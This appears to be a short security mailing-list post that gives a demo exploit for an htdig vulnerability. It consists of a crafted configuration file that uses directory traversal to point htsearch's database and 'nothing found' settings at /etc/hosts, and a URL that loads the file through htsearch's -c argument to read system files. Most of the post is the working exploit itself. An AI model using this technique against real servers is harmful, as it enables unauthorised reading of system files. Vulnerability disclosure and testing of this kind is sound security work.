hola,

just wanted to add an example to the recently posted htdig vulnerability ( credits to ghutchis () wso williams edu ) ... the problem is that there is no detailed info on how to test it ..

---cut here---
http://www.securityfocus.com/cgi-bin/vulns-item.pl?section=info&id=3410
---cut here---


therefore ... a demo-exploit for a better understanding:

create a file with the following content anywhere on the maschine htdig runs on (be creative an think of guestbooks, logfiles etc etc ..):

---cut here---
nothing_found_file: /etc/hosts
database_base: ${database_dir}/../../../../etc/
word_db: ${database_base}hosts
doc_index: ${database_base}hosts
doc_db: ${database_base}hosts
---cut here---

.. then let htsearch use it :

---cut here--
http://server.cc/cgi-bin/htsearch?-c+[name-of-file]
---cut here---


done ..
